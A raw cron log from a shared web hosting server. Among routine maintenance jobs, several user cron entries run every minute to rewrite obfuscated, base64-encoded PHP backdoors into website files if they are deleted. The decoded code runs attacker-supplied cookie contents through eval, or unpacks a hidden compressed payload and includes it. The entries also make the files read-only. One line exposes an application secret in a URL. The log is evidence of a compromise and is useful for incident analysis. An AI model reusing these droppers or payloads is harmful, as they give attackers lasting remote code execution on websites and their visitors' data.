Mar  1 22:44:02 medusa CROND[14847]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:45:01 medusa CROND[20982]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:45:01 medusa CROND[20984]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:45:02 medusa CROND[21049]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:45:02 medusa CROND[21148]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:45:02 medusa CROND[21150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:45:02 medusa CROND[21151]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:45:02 medusa CROND[21153]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:45:02 medusa CROND[21152]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:45:02 medusa CROND[21156]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:45:02 medusa CROND[21158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:45:02 medusa CROND[21160]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:45:02 medusa CROND[21161]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 22:45:02 medusa CROND[21162]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:45:02 medusa CROND[21164]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:45:02 medusa CROND[21167]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:45:02 medusa CROND[21154]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:45:02 medusa CROND[21173]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:45:02 medusa CROND[21180]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:45:02 medusa CROND[21182]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:45:02 medusa CROND[21186]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:45:02 medusa CROND[21189]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:45:02 medusa CROND[21171]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:45:02 medusa CROND[21172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:46:01 medusa CROND[28794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:46:02 medusa CROND[28955]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:46:02 medusa CROND[28956]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:46:02 medusa CROND[28958]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:46:02 medusa CROND[28959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:46:02 medusa CROND[28960]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:46:02 medusa CROND[28961]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:46:02 medusa CROND[28970]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:46:02 medusa CROND[28971]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:46:02 medusa CROND[28973]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:46:02 medusa CROND[28974]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:46:02 medusa CROND[28981]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:46:02 medusa CROND[28982]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:46:02 medusa CROND[28983]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:46:02 medusa CROND[28992]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
